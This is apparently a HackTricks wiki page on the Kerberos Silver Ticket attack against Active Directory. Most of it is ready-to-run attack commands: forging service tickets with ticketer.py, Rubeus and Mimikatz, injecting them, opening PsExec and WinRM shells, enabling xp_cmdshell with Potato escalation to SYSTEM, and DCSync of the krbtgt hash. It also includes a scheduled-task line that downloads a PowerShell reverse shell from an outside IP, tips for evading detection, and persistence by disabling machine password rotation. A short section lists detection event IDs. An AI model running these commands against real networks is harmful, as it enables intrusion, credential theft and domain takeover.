Silver Ticket

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Silver ticket

The Silver Ticket attack involves the exploitation of service tickets in Active Directory (AD) environments. This method relies on acquiring the NTLM hash of a service account, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. With this forged ticket, an attacker can access specific services on the network, impersonating any user, typically aiming for administrative privileges. It’s emphasized that using AES keys for forging tickets is more secure and less detectable.

Warning

Silver Tickets are less detectable than Golden Tickets because they only require the hash of the service account, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user. Moreover, if you compromise an account’s password with a SPN you can use that password to create a Silver Ticket impersonating any user to that service.

Modern Kerberos changes (AES-only domains)

  • Windows updates starting 8 Nov 2022 (KB5021131) default service tickets to AES session keys when possible and are phasing out RC4. DCs are expected to ship with RC4 disabled by default by mid‑2026, so relying on NTLM/RC4 hashes for silver tickets increasingly fails with KRB_AP_ERR_MODIFIED. Always extract AES keys (aes256-cts-hmac-sha1-96 / aes128-cts-hmac-sha1-96) for the target service account.
  • If the service account msDS-SupportedEncryptionTypes is restricted to AES, you must forge with /aes256 or -aesKey; RC4 (/rc4 or -nthash) will not work even if you hold the NTLM hash.
  • gMSA/computer accounts rotate every 30 days; dump the current AES key from LSASS, Secretsdump/NTDS, or DCsync before forging.
  • OPSEC: default ticket lifetime in tools is often 10 years; set realistic durations (e.g., -duration 600 minutes) to avoid detection by abnormal lifetimes.

For ticket crafting, different tools are employed based on the operating system:

On Linux

# Forge with AES instead of RC4 (supports gMSA/machine accounts)
python ticketer.py -aesKey <AES256_HEX> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
  -spn <SERVICE_PRINCIPAL_NAME> <USER>
# or read key directly from a keytab (useful when only keytab is obtained)
python ticketer.py -keytab service.keytab -spn <SPN> -domain <DOMAIN> -domain-sid <DOMAIN_SID> <USER>

# shorten validity for stealth
python ticketer.py -aesKey <AES256_HEX> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
  -spn cifs/<HOST_FQDN> -duration 480 <USER>

export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass

On Windows

# Using Rubeus to request a service ticket and inject (works when you already have a TGT)
# /ldap option is used to get domain data automatically
rubeus.exe asktgs /user:<USER> [/aes256:<HASH> /aes128:<HASH> /rc4:<HASH>] \
  /domain:<DOMAIN> /ldap /service:cifs/<TARGET_FQDN> /ptt /nowrap /printcmd

# Forging the ticket directly with Mimikatz (silver ticket => /service + /target)
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> \
  /aes256:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET> /ptt"
# RC4 still works only if the DC and service accept RC4
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> \
  /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET> /ptt"

# Inject an already forged kirbi
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>

# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd

The CIFS service is highlighted as a common target for accessing the victim’s file system, but other services like HOST and RPCSS can also be exploited for tasks and WMI queries.

Example: MSSQL service (MSSQLSvc) + Potato to SYSTEM

If you have the NTLM hash (or AES key) of a SQL service account (e.g., sqlsvc) you can forge a TGS for the MSSQL SPN and impersonate any user to the SQL service. From there, enable xp_cmdshell to execute commands as the SQL service account. If that token has SeImpersonatePrivilege, chain a Potato to elevate to SYSTEM.

# Forge a silver ticket for MSSQLSvc (AES example)
python ticketer.py -aesKey <SQLSVC_AES256> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
  -spn MSSQLSvc/<host.fqdn>:1433 administrator
export KRB5CCNAME=$PWD/administrator.ccache

# Connect to SQL using Kerberos and run commands via xp_cmdshell
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
  -q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
  • If the resulting context has SeImpersonatePrivilege (often true for service accounts), use a Potato variant to get SYSTEM:
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
PrintSpoofer.exe -c "cmd /c whoami"
# or
GodPotato -cmd "cmd /c whoami"

More details on abusing MSSQL and enabling xp_cmdshell:

MSSQL AD Abuse

Potato techniques overview:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

Available Services

Service TypeService Silver Tickets
WMI

HOST

RPCSS

PowerShell Remoting

HOST

HTTP

Depending on OS also:

WSMAN

RPCSS

WinRM

HOST

HTTP

In some occasions you can just ask for: WINRM

Scheduled TasksHOST
Windows File Share, also psexecCIFS
LDAP operations, included DCSyncLDAP
Windows Remote Server Administration Tools

RPCSS

LDAP

CIFS

Golden Ticketskrbtgt

Using Rubeus you may ask for all these tickets using the parameter:

  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

Silver tickets Event IDs

  • 4624: Account Logon
  • 4634: Account Logoff
  • 4672: Admin Logon
  • No preceding 4768/4769 on the DC for the same client/service is a common indicator of a forged TGS being presented directly to the service.
  • Abnormally long ticket lifetime or unexpected encryption type (RC4 when domain enforces AES) also stand out in 4769/4624 data.

Persistence

To avoid machines from rotating their password every 30 days set HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1 or you could set HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge to a bigger value than 30days to indicate the rotation perdiod when the machines password should be rotated.

Abusing Service tickets

In the following examples lets imagine that the ticket is retrieved impersonating the administrator account.

CIFS

With this ticket you will be able to access the C$ and ADMIN$ folder via SMB (if they are exposed) and copy files to a part of the remote filesystem just doing something like:

dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

You will also be able to obtain a shell inside the host or execute arbitrary commands using psexec:

PsExec/Winexec/ScExec

HOST

With this permission you can generate scheduled tasks in remote computers and execute arbitrary commands:

#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HOST + RPCSS

With these tickets you can execute WMI in the victim system:

#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

Find more information about wmiexec in the following page:

WmiExec

HOST + WSMAN (WINRM)

With winrm access over a computer you can access it and even get a PowerShell:

New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

Check the following page to learn more ways to connect with a remote host using winrm:

WinRM

Warning

Note that winrm must be active and listening on the remote computer to access it.

LDAP

With this privilege you can dump the DC database using DCSync:

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

Learn more about DCSync in the following page:

DCSync

References

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks